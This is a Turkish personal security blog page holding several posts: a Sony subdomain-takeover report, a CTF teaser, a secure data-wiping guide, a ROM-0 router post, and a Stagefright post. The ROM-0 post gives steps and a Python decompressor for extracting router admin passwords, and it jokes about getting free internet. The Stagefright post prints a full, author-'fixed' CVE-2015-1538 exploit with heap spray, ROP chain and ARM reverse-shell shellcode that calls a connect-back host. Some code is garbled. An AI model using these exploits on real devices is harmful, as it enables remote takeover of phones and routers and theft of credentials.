About Berk

Ağu.04

Korumalı: Oracle Bug Bounty

This post is password protected. To view it please enter your password inside the post.

Bu içerik parola ile korunmaktadır. Görmek için lütfen aşağı parolanızı girin:

Bug Bounty

Nis.01

Sony Subdomain Takeover

Summary

Subdomain takeover was possible in some of the subdomains. The CNAME entry in the subdomain is pointing to an external page service (fanfootballsony.s3-us-west-2.amazonaws.com).

Description

 

The bucket name must be the same as the CNAME. So fan.football.sony.net/filename would be the same as fanfootballsony.s3-us-west-2.amazonaws.com/filename if a CNAME were created to map fan.football.sony.net to fanfootballsony.s3-us-west-2.amazonaws.com.

PoC:

http://fanfootballsony.s3-us-west-2.amazonaws.com/subdomaintakeover/index.html

Risk

  • Fake website
  • Malicious code injection
  • Users tricking
  • Company impersonation

Since the vulnerable subdomain is called signup , it’s a perfect place to create a fake login/subscribe page to steal users credentials. An attacker would post links on forums or send emails and then wait for people to signup on the site he owns.

Fix

You should immediately remove the DNS-entry for this domain or point it elsewhere if you don’t use that service.

Bug Bounty

Oca.25

BTK | Siberyıldız CTF ~ Writeup

Öncelikle siber güvenlik alanında iyi ya da kötü adım atılması sevindirici. Sitenin ilk duyulduğu gün, daha net bilgi yokken istihbarat veya bilgi alma amaçlı kurulmuş veya troll bi site düşüncesi oluştu 🙂 whois sorgusundaki telefon numarasını Btk’ya ait sabit telefonlardan aratıp konuşmayı dinledim ( nasıl yaptığımı belki ilerde anlatırım ). Konuşma sonrası gerçek olduğu netti. Dr. ÖMER FATİH SAYAN’ın periscope konuşmasına da denk gelince iş netleşti.

Walkthrough

Ara.22

Güvenli Veri Silimi

Kurumların ve önemli kişisel bilgilerin depolama ünitelerinde tutulduğu düşünülürse; verilerin güvenliğinde, şifreli saklanması kadar güvenli silinmesi de önemlidir. Bunu basit bir örnekle açıklayacak olursak kağıda “canyoupwn” metnini base64 ile encode hali “Y2FueW91cHdu” şeklinde yazalım. Bu işlem verinin saklanmasında ki güvenliktir. Bu verinin sıradan şekilde silindiğini düşünürsek, izi kalacak ve çeşitli yöntemlerle şifrelenmiş metin kurtarılacaktır. Bu veriyi güvenli silmek için üstüne yeni veri yazarsak ve bu veri rastgele uzunlukta, boyutta ve sayıda olursa eski verinin yerine yeni veri yazılmış dolayısıyla encode “canyoupwn” metni silinmiş olacaktır.
Anlaşılacağı üzere bu işlem aslında silmek değil, yazmaktır. Bunun için geliştirilmiş çeşitli algoritmalar mevcut.

Degauss

Degaussing, sabit disk, disket, makara, kaset, kartuş kasetleri gibi bant ve disk ortamlarında depolanan istenmeyen manyetik alanı veya verileri işlevsiz hale getirme işlemidir. Degausser ile güçlü bir manyetik alana maruz kalan sabit diskteki veriler nötralize edilerek kullanılamaz hale getirilir. İlk kez 2.Dünya savaşında mayın tespiti için kullanılmıştır.


En yaygın kullanımıyla eski tip Crt monitörlere yapılan degaussing işlemi;

Aynı işlem daha karmaşık ve güçlü haliyle ssd ve hdd için de uygulanabiliyor. Degaussing işlemi yapıldıktan sonra depolama ünitesi kullanılamayacağı için çok özel verilerin bulunduğu ünitelere bu işlem uygulanıyor. Gücü Gauss birimiyle ölçülen bu elektromanyetik alanı 10.000 Gauss’a kadar çıkan cihazlar kullanılıyor. Avantajı ise saniyeler sürmesi. Ortalama bir degaussing işlemi bir dakika kadar sürmekte. Örnek bir depolama ünitesi için degaussing işlemi;

Fiziksel Yok Etme

Yazılımsal ve elektromanyetiksel işlemlerden sonra yapılacak işlem fizikseldir. Fiziksel hatalardan bazıları bad sector, okuyucu başlık sorunları, aşırı ısınma ve elektriksel sorunlar. Yazılımsal sorunlara kıyasla daha zor kurtarma işlemi gerçekleşir. Ancak düşme, başlığın diske değmesi gibi sorunlarda veri kurtarılma şansı varken öğütme işlemi ile labaratuvar ortamında verinin sadece milyonda biri kurtarılabilir. Ulaşılan bu bilgi de anlamsız olacağı için verimiz güvende olacaktır.

Aşağıdaki gibi bir öğütme işleminden sonra veri kurtarılması imkansıza yakındır.

Wipe

Daha önce de belirttiğim gibi veriyi güvenli silebilmek ve daha sonra depolama ünitesini kullanabilmek için en mantıklı yol üzerine veri yazmaktır. Bunun için çeşitli algoritmalar geliştirilmiştir.

Gutmann Metodu

35 kez yazma işlemidir. Verinin üzerine 35 kez işlenir. Bu işlem yapıldıktan sonra veri kurtarılamaz. 35 adım aşağıdaki gibidir;

  1. Rastgele
  2. Rastgele
  3. Rastgele
  4. Rastgele
  5. 01010101 01010101 01010101
  6. 10101010 10101010 10101010
  7. 10010010 01001001 00100100
  8. 01001001 00100100 10010010
  9. 00100100 10010010 01001001
  10. 00000000 00000000 00000000
  11. 00010001 00010001 00010001
  12. 00100010 00100010 00100010
  13. 00110011 00110011 00110011
  14. 01000100 01000100 01000100
  15. 01010101 01010101 01010101
  16. 01100110 01100110 01100110
  17. 01110111 01110111 01110111
  18. 10001000 10001000 10001000
  19. 10011001 10011001 10011001
  20. 10101010 10101010 10101010
  21. 10111011 10111011 10111011
  22. 11001100 11001100 11001100
  23. 11011101 11011101 11011101
  24. 11101110 11101110 11101110
  25. 11111111 11111111 11111111
  26. 10010010 01001001 00100100
  27. 01001001 00100100 10010010
  28. 00100100 10010010 01001001
  29. 01101101 10110110 11011011
  30. 10110110 11011011 01101101
  31. 11011011 01101101 10110110
  32. Rastgele
  33. Rastgele
  34. Rastgele
  35. Rastgele

Çoğu yazılım varsayılan olarak gutmann metodunu seçer. Ancak 100 kez veri işleme gibi abartı sayılar bu algoritmanın defalarca yapılmasıdır. 7 kez veri işlemede dahi veri kurtarılamazken 100 kez işlemek zaman kaybıdır.

CCleaner

Kayıtlı parolalarınızı, tarayıcı geçmişinizi ve diğer tüm gizlilik gerektiren bilgilerinizi CCleaner ile silerken gutmann metodunu seçerseniz daha güvenli bir şekilde verileriniz silinmiş olur. Yüksek boyutlarda DoD 5220.22-M metodunu (7 geçiş) seçebilirsiniz.

Eraser

Windows ortamda en çok kullanılan yazılımdır. Ayarlarından gutmann(35 geçiş)’ı seçerseniz en ideal seçeneği yapmış olursunuz. Dilerseniz kendi istediğiniz veriyi ekleyerek diske onu yazdırabilirsiniz.
Tabii b3n1_kurt4r4m4zs1n yazıp veri kurtarma firmalarına göndermeyin 🙂

Shred

Man shred komutuyla detaylı bilgiye erişilebilir.

-n Varsayılan üzerine yazma 3’dür. Burdan sayıyı değiştirebilirsiniz.
-v Yapılan işlemlerin ne kadar detaylı konsolda gösterileceğidir.
-f Dosya yazmaya korumalıysa izinleri değiştirir.
-u İşlem bittikten sonra parçalar ve siler.

Örnek bir 35 kez yazma işlemi yukarıdaki gibidir. -z parametresi ekleseydim 1 geçiş daha yapıp 36.geçişte “000000” değerini yazacaktı.

Demo

Yaklaşık 4 gb usb flash disk üzerinde testimizi gerçekleştirelim.

sudo fdisk -l komutu ile disklerimizi görüntüledik. Sudo ile yetkimizi aldık, -l parametresi ile fiskleri listeledik.

Aygıtımız /deb/sdb1. Hexedit aracı ile diskimizi heksadesimal sistemde sudo hexedit /dev/sdb1 komutu ile açıyoruz.

Diskin yazma işlemi başlamadan önceki hali bu şekilde. Şimdi yazma işlemini sudo shred -fuvz --iterations 35 /dev/sdb1 işlemi ile başlatalım.

Yaklaşık 10 saat süren yazma işleminden sonra diskimizin son haline bakalım.

Tüm diskimiz heksadesimal sistemde sıfır değerini aldı. Veri kurtarmayı denediğimizde kesinlikle başarısız olunacaktır.

Güvenlik

Haz.04

ROM-0 Zafiyeti Ve Detayları

Çoğunlukla  TP-Link ve Zyxel’de bulunan bir açık. Modemin ayarlarının olduğu dosyayı çekerek size arayüz şifresini gösteriyor. Uzaktan eriştiğiniz modeme hayal gücünüze bağlı olarak yapamayacağınız şey yoktur 🙂 En basitinden bağlantınız modemin kullanıcı adı şifresiyle ücretsiz internet kullanabilirsiniz. Tabi ki bu kadar kolay değil, çeşitli yolları var. Açığa gelelim, adı  ZynOS / ROM-0 .

Linux ile uzun uzun uğraşmaktansa https://github.com/MrNasro/zynos-attacker/ adresinden açığı test edebilirsiniz. Açığı test etmek için çeşitli yazılımlar yapılmış. Mantık aynı belirli ip aralığını taratıp açığın bulunduğu ip’leri göstermek. Eskiden bruto force için de aynı mantığı kullanırdık. Bu açıktan dolayı arayüzüne girdiğimiz modemin şifresi ne kadar zor olursa olsun kaynak çözüldüğü zaman en kolay bruto force saldırısından daha kolay olacaktır.

Rom-0 Açığını Tespit Etmek

  1. http://rom-0.cz/index/ adresinden açığı test edebilirsiniz.
  2. Manuel olarak test etmek için arayüz adresinin sonuna “/rom-0” ekleyin. 192.168.1.1/rom-0 şeklinde.
  3. İndirdiğiniz dosyayı http://www.routerpwn.com/zynos/ adresinden çözün.
  4. rom-0

    rom-0

    bu şekilde arayüz şifresini verecek.

  5. Şifreyle arayüze giriş yaptıktan sonrası size kalmış.

Ayrıca siteye ulaşılamaması gibi durumlar için;

Python ile kodlanmış decompressor

<pre><code>#!/usr/bin/env python
# -*- coding: utf-8 -*- 

# Title: ZTE, TP-Link, ZynOS, Huawei rom-0 Configuration Decompressor 
# Author: Osanda Malith Jayathissa (@OsandaMalith)
# Special thanks to Nick Knight
# Use this for educational purposes only
# Author takes no responsibility for any damage you cause

from __future__ import print_function
import re
import collections
import unicodedata
 
class BitReader:
    
    def __init__(self, bytes):
        self._bits = collections.deque()
        
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
            
    def getBit(self):
        return self._bits.popleft()
        
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
        
    def getByte(self):
        return self.getBits(8)
        
    def __len__(self):
        return len(self._bits)
        
class RingList:
    
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
 
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
 
    def get(self):
        return self.__data__
 
    def size(self):
        return len(self.__data__)
 
    def maxsize(self):
        return self.__max__
        
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]

print ('''[+] ZTE, TP-Link, ZynOS, Huawei rom-0 Configuration Decompressor
[+] Author: Osanda Malith Jayathissa 
[+] Special thanks to Nick Knight
''')
print ('[*] Opeining rom-0 file')
fpos=8568
fend=8788
fhandle=file('rom-0')
fhandle.seek(fpos)
chunk="*"
amount=221
while fpos < fend:
    if fend-fpos < amount:
        amount = amount
        data = fhandle.read(amount)
        fpos += len(data)
        
reader = BitReader(data)
result = ''
   
window = RingList(2048)
    
while True:
    bit = reader.getBit()
    if not bit:
        char = reader.getByte()
        result += chr(char)
        window.append(char)
    else:
        bit = reader.getBit()
        if bit:
            offset = reader.getBits(7)
            if offset == 0:
                break
        else:
            offset = reader.getBits(11)
        
        lenField = reader.getBits(2)
        if lenField < 3:
            lenght = lenField + 2
        else:
            lenField <<= 2
            lenField += reader.getBits(2)
            if lenField < 15:
                lenght = (lenField & 0x0f) + 5
            else:
                lenCounter = 0
                lenField = reader.getBits(4)
                while lenField == 15:
                    lenField = reader.getBits(4)
                    lenCounter += 1
                lenght = 15*lenCounter + 8 + lenField
        
        for i in xrange(lenght):
            char = window[-offset]
            result += chr(char)
            window.append(char)



def filter_non_printable(str):
  return ''.join()


def regex(path, text):
    match = re.search(path, text)
    if match:
        return match.group()
    else:
        return None
print (('[+] Dump: \r\n{0}\r\n').format(result))
result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore');
print (('[+] Filtered Strings: {0}\n').format(result))

if 'TP-LINK' in result:
    result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
    result = result.replace("TP-LINK", "")
    result = result[1:]

if 'ZTE' in result:
    result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
    result = result.replace("ZTE", "")
    result = result[1:]

if 'tc160' in result:
    result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
    result = result.replace("tc160", "")
    result = result[1:]
    
print (('[~] Router Password is: {0}').format(result))</code></pre>

Rom-0 Açığı Ne kadar tehlikeli?

Modem ayarlarınıza erişmiş birisi servis sağlayıcınızın kullanıcı adı ve şifresini öğrenebilir. Örneğin Ttnet’in kablosuz erişim noktalarında bu bilgileri kullanarak internetinize erişebilirler. Ayrıca modemde yapılan nat ayarlarıyla uzaktan erişim sağlayabilirler. Bağlantı ayarlarınızla oynanarak internetiniz kesilebilir, kablosuz güvenlik protokolü wep olarak ayarlanabilir veya wps aktif hale getirildiğinde rom-0 açığından habersiz kablosuz ağınıza saldırı yapacak birisi bu açıkları kullanabilir.

Rom-0 Açığı  nasıl düzeltilir?

Modem ayarlarınızdan 80, 8080 portlarını yönlendirme yaptığınız sorun çözülecektir. Ayrıca firmware güncel tutulması gerekli.

Güvenlik,Network

May.20

Android Stagefright Detector

2015 yılının temmuz ayında daha önce de yazımda belirttiğim Zanti snifferin kodlayıcısı Zimperium  güvenlik firması stagefright açığını bulduklarını açıkladı. Tahminen bir milyar kullanıcının etkilendiği tahmin ediliyor.

Stagefright nedir?

Stagefright Android sistemleri etkileyen oldukça kritik bir açık. Exploit ile oluşturulan mp4 dosyasını herhangi bir şekilde önizlemeniz veya açmanız durumunda sisteminiz uzaktan kod erişimine açık hale geliyor. Android 2.2 sürümünden 5.1.1 sürümüne kadar etkili. CVE-2015-1538, CVE-2015-1539, CVE-2015-3824, CVE-2015-3826, CVE-2015-3827, CVE-2015-3828, CVE-2015-3829 Cve numaralarına sahip. Genellikle sms yoluyla iletilerek zafiyetin bulaşması sağlanıyor.

Örnek video;

Stagefright zafiyeti nasıl tespit edilir?

1) Stagefright Detector

Zimperium firmasının Stagefright açığını tespit etmek için yazdığı uygulama.

QuickMemo+_2016-05-19-23-16-40 QuickMemo+_2016-05-19-23-17-02

Kullanımı gayet basit uygulamayı açın ve begin analysis butonuna basın. Sistemi tarayacak ve açıklarını listeleyecektir.  Telefonun sürümüne, modeline, gelen güncellemelere göre açıklar değişecektir.

Ayrıca zIPS ile zafiyetin tespit edilmesi;

İndirme adresi: https://play.google.com/store/apps/details?id=com.zimperium.stagefrightdetector

2) Stagefright Detector

Lookout Mobile Security firmasının kodladığı bu uygulama tabii ki açığı bulan Zimperium firması kadar sağlam sonuçlar vermiyor. Ancak 2.bir uygulama olarak tanıtmak da fayda var.

QuickMemo+_2016-05-19-23-24-34

Aynı cihazda denediğimde Zimperium firmasının yazdığı uygulamadaki açığı bulamadı. Tabii ki o ayrı ama yine de onu da eklemesi programa bir + katardı. Yine de alternatif olarak kullanabilir.

İndirme adresi: https://play.google.com/store/apps/details?id=com.lookout.stagefrightdetector

Stagefright Zafiyetinin Kullanımı

Öncelikle CVE-2015-1538 exploitini kullandım.  https://www.exploit-db.com/exploits/38124/ adresinden exploitimizi indirelim. Normalde exploiti düzeltmemiz lazım örneğin ‘ karekterini değiştirmemiz ve bazı satırlarda düzenleme yapmamız gerek. Uğraşmamanız için exploiti düzenleyip veriyorum.

#coding:utf-8
#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# www.zimperium.com
#
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 'stsc' atom handling
#
# Don't forget, the output of “create_mp4” can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one…
#
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
#
# “With great power comes great responsibility.” – Uncle Ben
#
import struct
import socket
#
# Creates a single MP4 atom – LEN, TAG, DATA
#
def make_chunk(tag, data):
 if len(tag) != 4:
 raise 'Yo! They call it “FourCC” for a reason.'
 ret = struct.pack('&gt;L', len(data) + 8)
 ret += tag
 ret += data
 return ret
#
# Make an 'stco' atom – Sample Table Chunk Offets
#
def make_stco(extra=''):
 ret = struct.pack('&gt;L', 0) # version
 ret += struct.pack('&gt;L', 0) # mNumChunkOffsets
 return make_chunk('stco', ret+extra)
#
# Make an 'stsz' atom – Sample Table Size
#
def make_stsz(extra=''):
 ret = struct.pack('&gt;L', 0) # version
 ret += struct.pack('&gt;L', 0) # mDefaultSampleSize
 ret += struct.pack('&gt;L', 0) # mNumSampleSizes
 return make_chunk('stsz', ret+extra)
#
# Make an 'stts' atom – Sample Table Time-to-Sample
#
def make_stts():
 ret = struct.pack('&gt;L', 0) # version
 ret += struct.pack('&gt;L', 0) # mTimeToSampleCount
 return make_chunk('stts', ret)
#
# This creates a single Sample Table Sample-to-Chunk entry
#
def make_stsc_entry(start, per, desc):
 ret = ''
 ret += struct.pack('&gt;L', start + 1)
 ret += struct.pack('&gt;L', per)
 ret += struct.pack('&gt;L', desc)
 return ret
#
# Make an 'stsc' chunk – Sample Table Sample-to-Chunk
#
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
#
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
 ret = struct.pack('&gt;L', 0) # version/flags
 # this is the clean version…
 if not do_overflow:
 ret += struct.pack('&gt;L', num_alloc) # mNumSampleToChunkOffsets
 ret += 'Z' * (12 * num_alloc)
 return make_chunk('stsc', ret)

 # now the explicit version. (trigger the bug)
 ret += struct.pack('&gt;L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
 # fill in the entries that will overflow the buffer
 for x in range(0, num_write):
 ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)

 ret = make_chunk('stsc', ret)

 # patch the data_size
 ret = struct.pack('&gt;L', 8 + 8 + (num_alloc * 12)) + ret[4:]

 return ret

#
# Build the ROP chain
#
# ROP pivot by Georg Wicherski! Thanks!
#
"""
(gdb) x/10i __dl_restore_core_regs
 0xb0002850 &lt;__dl_restore_core_regs&gt;: add r1, r0, #52 ; 0x34
 0xb0002854 &lt;__dl_restore_core_regs+4&gt;: ldm r1, {r3, r4, r5}
 0xb0002858 &lt;__dl_restore_core_regs+8&gt;: push {r3, r4, r5}
 0xb000285c &lt;__dl_restore_core_regs+12&gt;: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
 0xb0002860 &lt;__dl_restore_core_regs+16&gt;: ldm sp, {sp, lr, pc}
"""
"""
b0001144 &lt;__dl_mprotect&gt;:
b0001144: e92d0090 push {r4, r7}
b0001148: e3a0707d mov r7, #125 ; 0x7d
b000114c: ef000000 svc 0x00000000
b0001150: e8bd0090 pop {r4, r7}
b0001154: e1b00000 movs r0, r0
b0001158: 512fff1e bxpl lr
b000115c: ea0015cc b b0006894 &lt;__dl_raise+0x10&gt;
"""
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
 rop =''
 rop += struct.pack('&lt;L', sp_addr + off + 0x10) # new sp
 rop += struct.pack('&lt;L', 0xb0002a98) # new lr – pop {pc}
 rop += struct.pack('&lt;L', 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}

 rop += struct.pack('&lt;L', sp_addr &amp; 0xfffff000) # new r0 – base address (page aligned)
 rop += struct.pack('&lt;L', 0x1000) # new r1 – length
 rop += struct.pack('&lt;L', 7) # new r2 – protection
 rop += struct.pack('&lt;L', 0xd000d003) # new r3 – scratch
 rop += struct.pack('&lt;L', 0xd000d004) # new r4 – scratch
 rop += struct.pack('&lt;L', 0xb0001144) # new pc – _dl_mprotect

 native_start = sp_addr + 0x80
 rop += struct.pack('&lt;L', native_start) # address of native payload
 #rop += struct.pack('&lt;L', 0xfeedfed5) # top of stack…
 # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
 buf =''
 # fork
 buf += '\x02\x70\xa0\xe3'
 buf += '\x00\x00\x00\xef'
 # continue if not parent…
 buf += '\x00\x00\x50\xe3'
 buf += '\x02\x00\x00\x0a'
 # exit parent
 buf += '\x00\x00\xa0\xe3'
 buf += '\x01\x70\xa0\xe3'
 buf += '\x00\x00\x00\xef'
 # setsid in child
 buf += '\x42\x70\xa0\xe3'
 buf += '\x00\x00\x00\xef'
 # socket/connect/dup2/dup2/dup2
 buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c'
 buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60'
 buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0'
 buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1'
 buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06'
 buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00'
 buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0'
 buf += '\xe3\x00\x00\x00\xef'
 # execve(shell, argv, env)
 buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0'
 buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d'
 buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00'
 buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00'
 buf += '\xef\x02\x00'
 # Add the connect back host/port
 buf += struct.pack('!H', cb_port)
 cb_host = socket.inet_aton(cb_host)
 buf += struct.pack('=4s', cb_host)
 # shell –
 buf += '/system/bin/sh\x00\x00'
 # argv –
 buf += 'sh\x00\x00'
 # env –
 buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00'

 # Add some identifiable stuff, just in case something goes awry…
 rop_start_off = 0x34
 x = rop_start_off + len(rop)
 while len(rop) &lt; 0x80 - rop_start_off:
 rop += struct.pack('&lt;L', 0xf0f00000+x)
 x += 4

 # Add the native payload…
 rop += buf

 return rop

#
# Build an mp4 that exploits CVE-2015-1538 #1
#
# We mimic meow.3gp here…
#
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
 chunks = []

 # Build the MP4 header…
 ftyp = 'mp42'
 ftyp += struct.pack('&gt;L', 0)
 ftyp += 'mp42'
 ftyp += 'isom'
 chunks.append(make_chunk('ftyp', ftyp))

 # Note, this causes a few allocations…
 moov_data =''
 moov_data += make_chunk('mvhd',
 struct.pack('&gt;LL', 0, 0x41414141) +
 ('B' * 0x5c) )

 # Add a minimal, verified trak to satisfy mLastTrack being set
 moov_data += make_chunk('trak',
 make_chunk('stbl',
 make_stsc(0x28, 0x28) +
 make_stco() +
 make_stsz() +
 make_stts() ))

 # Spray the heap using a large tx3g chunk (can contain binary data!)
 """
 0x4007004e &lt;_ZNK7android7RefBase9decStrongEPKv+2&gt;: ldr r4, [r0, #4] ; load mRefs
 0x40070050 &lt;_ZNK7android7RefBase9decStrongEPKv+4&gt;: mov r5, r0
 0x40070052 &lt;_ZNK7android7RefBase9decStrongEPKv+6&gt;: mov r6, r1
 0x40070054 &lt;_ZNK7android7RefBase9decStrongEPKv+8&gt;: mov r0, r4
 0x40070056 &lt;_ZNK7android7RefBase9decStrongEPKv+10&gt;: blx 0x40069884 ; atomic_decrement
 0x4007005a &lt;_ZNK7android7RefBase9decStrongEPKv+14&gt;: cmp r0, #1 ; must be 1
 0x4007005c &lt;_ZNK7android7RefBase9decStrongEPKv+16&gt;: bne.n 0x40070076 &lt;_ZNK7android7RefBase9decStrongEPKv+42&gt;
 0x4007005e &lt;_ZNK7android7RefBase9decStrongEPKv+18&gt;: ldr r0, [r4, #8] ; load refs-&gt;mBase
 0x40070060 &lt;_ZNK7android7RefBase9decStrongEPKv+20&gt;: ldr r1, [r0, #0] ; load mBase._vptr
 0x40070062 &lt;_ZNK7android7RefBase9decStrongEPKv+22&gt;: ldr r2, [r1, #12] ; load method address
 0x40070064 &lt;_ZNK7android7RefBase9decStrongEPKv+24&gt;: mov r1, r6
 0x40070066 &lt;_ZNK7android7RefBase9decStrongEPKv+26&gt;: blx r2 ; call it!
 """
 page = ''
 off = 0 # the offset to the next object
 off += 8
 page += struct.pack('&lt;L', sp_addr + 8 + 16 + 8 + 12 - 28) # _vptr.RefBase (for when we smash mDataSource)
 page += struct.pack('&lt;L', sp_addr + off) # mRefs
 off += 16
 page += struct.pack('&lt;L', 1) # mStrong
 page += struct.pack('&lt;L', 0xc0dedbad) # mWeak
 page += struct.pack('&lt;L', sp_addr + off) # mBase
 page += struct.pack('&lt;L', 16) # mFlags (dont set OBJECT_LIFETIME_MASK)
 off += 8
 page += struct.pack('&lt;L', sp_addr + off) # the mBase _vptr.RefBase
 page += struct.pack('&lt;L', 0xf00dbabe) # mBase.mRefs (unused)
 off += 16
 page += struct.pack('&lt;L', 0xc0de0000 + 0x00) # vtable entry 0
 page += struct.pack('&lt;L', 0xc0de0000 + 0x04) # vtable entry 4
 page += struct.pack('&lt;L', 0xc0de0000 + 0x08) # vtable entry 8
 page += struct.pack('&lt;L', newpc_val) # vtable entry 12
 rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
 x = len(page)
 while len(page) &lt; 4096:
 page += struct.pack('&lt;L', 0xf0f00000+x)
 x += 4

 off = 0x34
 page = page[:off] + rop + page[off+len(rop):]
 spray = page * (((2*1024*1024) / len(page)) - 20)
 moov_data += make_chunk('tx3g', spray)
 block = 'A' * 0x1c
 bigger = 'B' * 0x40
 udta = make_chunk('udta',
 make_chunk('meta',
 struct.pack('&gt;L', 0) +
 make_chunk('ilst',
 make_chunk('cpil', make_chunk('data', struct.pack('&gt;LL', 21, 0) + 'A')) +
 make_chunk('trkn', make_chunk('data', struct.pack('&gt;LL', 0, 0) + 'AAAABBBB')) +
 make_chunk('disk', make_chunk('data', struct.pack('&gt;LL', 0, 0) + 'AAAABB')) +
 make_chunk('covr', make_chunk('data', struct.pack('&gt;LL', 0, 0) + block)) * 32 +
 make_chunk('\xa9alb', make_chunk('data', struct.pack('&gt;LL', 0, 0) + block)) +
 make_chunk('\xa9ART', make_chunk('data', struct.pack('&gt;LL', 0, 0) + block)) +
 make_chunk('aART', make_chunk('data', struct.pack('&gt;LL', 0, 0) + block)) +
 make_chunk('\xa9day', make_chunk('data', struct.pack('&gt;LL', 0, 0) + block)) +
 make_chunk('\xa9nam', make_chunk('data', struct.pack('&gt;LL', 0, 0) + block)) +
 make_chunk('\xa9wrt', make_chunk('data', struct.pack('&gt;LL', 0, 0) + block)) +
 make_chunk('gnre', make_chunk('data', struct.pack('&gt;LL', 1, 0) + block)) +
 make_chunk('covr', make_chunk('data', struct.pack('&gt;LL', 0, 0) + block)) * 32 +
 make_chunk('\xa9ART', make_chunk('data', struct.pack('&gt;LL', 0, 0) + bigger)) +
 make_chunk('\xa9wrt', make_chunk('data', struct.pack('&gt;LL', 0, 0) + bigger)) +
 make_chunk('\xa9day', make_chunk('data', struct.pack('&gt;LL', 0, 0) + bigger)))
 )
 )
 moov_data += udta

 # Make the nasty trak
 tkhd1 =''.join([
 '\x00', # version
 'D' * 3, # padding
 'E' * (5*4), # {c,m}time, id, ??, duration
 'F' * 0x10, # ??
 struct.pack('&gt;LLLLLL',
 0x10000, # a00
 0, # a01
 0, # dx
 0, # a10
 0x10000, # a11
 0), # dy
 'G' * 0x14
 ])

 trak1 =''
 trak1 += make_chunk('tkhd', tkhd1)

 mdhd1 =''.join([
 '\x00', # version
 'D' * 0x17, # padding
 ])

 mdia1 =''
 mdia1 += make_chunk('mdhd', mdhd1)
 mdia1 += make_chunk('hdlr', 'F' * 0x3a)

 dinf1 = ''
 dinf1 += make_chunk('dref', 'H' * 0x14)

 minf1 =''
 minf1 += make_chunk('smhd', 'G' * 0x08)
 minf1 += make_chunk('dinf', dinf1)

 # Build the nasty sample table to trigger the vulnerability here.
 stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER

 # Add the stbl to the minf chunk
 minf1 += make_chunk('stbl', stbl1)

 # Add the minf to the mdia chunk
 mdia1 += make_chunk('minf', minf1)

 # Add the mdia to the track
 trak1 += make_chunk('mdia', mdia1)

 # Add the nasty track to the moov data
 moov_data += make_chunk('trak', trak1)

 # Finalize the moov chunk
 moov = make_chunk('moov', moov_data)
 chunks.append(moov)

 # Combine outer chunks together and voila.
 data =''.join(chunks)

 return data

if __name__ == '__main__':
 import sys
 import mp4
 import argparse

 def write_file(path, content):
 with open(path, 'wb') as f:
 f.write(content)

 def addr(sval):
 if sval.startswith('0x'):
 return int(sval, 16)
 return int(sval)

 # The address of a fake StrongPointer object (sprayed)
 sp_addr = 0x41d00010 # takju @ imm76i – 2MB (via hangouts)

 # The address to of our ROP pivot
 newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs

 # Allow the user to override parameters
 parser = argparse.ArgumentParser()
 parser.add_argument('-c', '-connectback-host', dest='cbhost', default='31.3.3.7')
 parser.add_argument('-p', '-connectback-port', dest='cbport', type=int, default=12345)
 parser.add_argument('-s', '-spray-address', dest='spray_addr', type=addr, default=None)
 parser.add_argument('-r', '-rop-pivot', dest='rop_pivot', type=addr, default=None)
 parser.add_argument('-o', '-output-file', dest='output_file', default='cve-2015-1538-1.mp4')
 args = parser.parse_args()

 if len(sys.argv) == 1:
 parser.print_help()
 sys.exit(-1)

 if args.spray_addr == None:
 args.spray_addr = sp_addr
 if args.rop_pivot == None:
 args.rop_pivot = newpc_val

 # Build the MP4 file…
 data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
 print('[*] Saving crafted MP4 to %s …' % args.output_file)
 write_file(args.output_file, data) 

Exploitimizi  mp4.py adıyla kaydediyoruz. python mp4.py komutuyla çalıştırıyoruz.

exploit

